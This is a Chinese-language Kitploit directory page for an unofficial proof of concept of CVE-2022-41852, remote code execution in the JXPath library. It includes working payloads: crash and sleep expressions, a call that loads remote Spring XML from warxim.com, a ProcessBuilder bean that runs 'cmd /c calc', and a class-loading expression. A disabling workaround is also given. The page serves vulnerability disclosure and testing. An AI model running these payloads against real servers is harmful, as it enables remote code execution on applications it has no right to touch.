Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-41852 — CVE-2022-41852 概念验证(非官方) | Kitploit
工具/GitHubGitHub/warxim/cve-2022-41852
漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试Payload 开发
GitHubwarxim/cve-2022-41852

CVE-2022-41852

CVE-2022-41852 概念验证(非官方)

查看仓库
74153年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
网站

JXPath 库远程代码执行 (CVE-2022-41852) 概念验证

CVE-2022-41852 允许攻击者在应用服务器上执行代码。

您可以在此处了解更多关于此漏洞的信息:

  • https://hackinglab.cz/en/blog/remote-code-execution-in-jxpath-library-cve-2022-41852/

注意: 我不是此 CVE 的作者。我只是创建了这个概念验证。

相关链接

  • JXPath GitHub
  • JXPath 网站
  • MITRE CVE-2022-41852
  • NIST CVE-2022-41852

漏洞描述

JXPath 库支持在 XPath 表达式中运行函数 (请参阅官方用户指南)。

例如,如果您让用户向 path 参数发送输入,那么 JXPathContext.getValue(path) 和 JXPathContext.iterate(path) 方法将是危险的。

PoC 描述

此 PoC 启动一个简单的 Spring 服务器,包含两个端点:

  • /vulnerable-example?path=[path]
  • /secure-example?path=[path]

这些端点只有一个查询参数 "path"。

可能的请求 URL

以下请求将正常工作(不会导致任何问题):

  • http://localhost:8080/secure-example?path=name
  • http://localhost:8080/secure-example?path=website
  • http://localhost:8080/secure-example?path=/
  • http://localhost:8080/vulnerable-example?path=name
  • http://localhost:8080/vulnerable-example?path=website
  • http://localhost:8080/vulnerable-example?path=/

以下请求将导致代码被执行:

  • http://localhost:8080/vulnerable-example?path=java.lang.System.exit(42)
  • http://localhost:8080/vulnerable-example?path=java.lang.Thread.sleep(10000)

示例 Payloads

用于检测 CVE-2022-41852 的示例 payload:

  • java.lang.System.exit(42)
  • java.lang.Thread.sleep(10000)
  • /|java.lang.System.exit(42)
  • |java.lang.System.exit(42)

可能有多种方式执行命令。其中一种是使用 Spring 的 ClassPathXmlApplicationContext:

  • org.springframework.context.support.ClassPathXmlApplicationContext.new("https://warxim.com/calc.xml")

在 XML 文件中,您可以定义 bean 配置,例如,您可以创建 ProcessBuilder 的实例, 并通过使用 start() 方法初始化 bean 来在服务器上运行指定命令。 在以下示例中,将打开 Windows 机器上的计算器:

root@kitploit:~
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="commandRunner" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>cmd</value>
        <value>/c</value>
        <value><![CDATA[calc]]></value>
      </list>
    </constructor-arg>
  </bean>
</beans>

还有一种方法是通过遍历上下文 bean 来加载新类,例如,以下代码将加载类 com.warxim.dangerous.DangerousClass,创建其实例并调用方法 run("warxim"):

root@kitploit:~
JXPathContext context = JXPathContext.newContext(new Data());
String jxPath = "run(newInstance(loadClass(getClassLoader(getClass(/)), \"com.warxim.dangerous.DangerousClass\")), \"warxim\")"
Object result = context.getValue(jxPath);

注意,我们必须通过将包含方法的对象作为第一个参数传递来调用对象方法。

CVE-2022-41852 的解决方法

可以通过将 functions 字段设置为空的 FunctionLibrary 来禁用 JXPathContext 中的函数。

root@kitploit:~
// Create path context for person object
var pathContext = JXPathContext.newContext(person);

// Set empty function library
pathContext.setFunctions(new FunctionLibrary());

// getValue will throw org.apache.commons.jxpath.JXPathFunctionNotFoundException
return pathContext.getValue(path);

注意: 这将禁用所有函数,因此即使像 size() 这样的函数也将不可用。

修复

修复正在开发中,请参阅 https://github.com/apache/commons-jxpath/pull/26

下载工具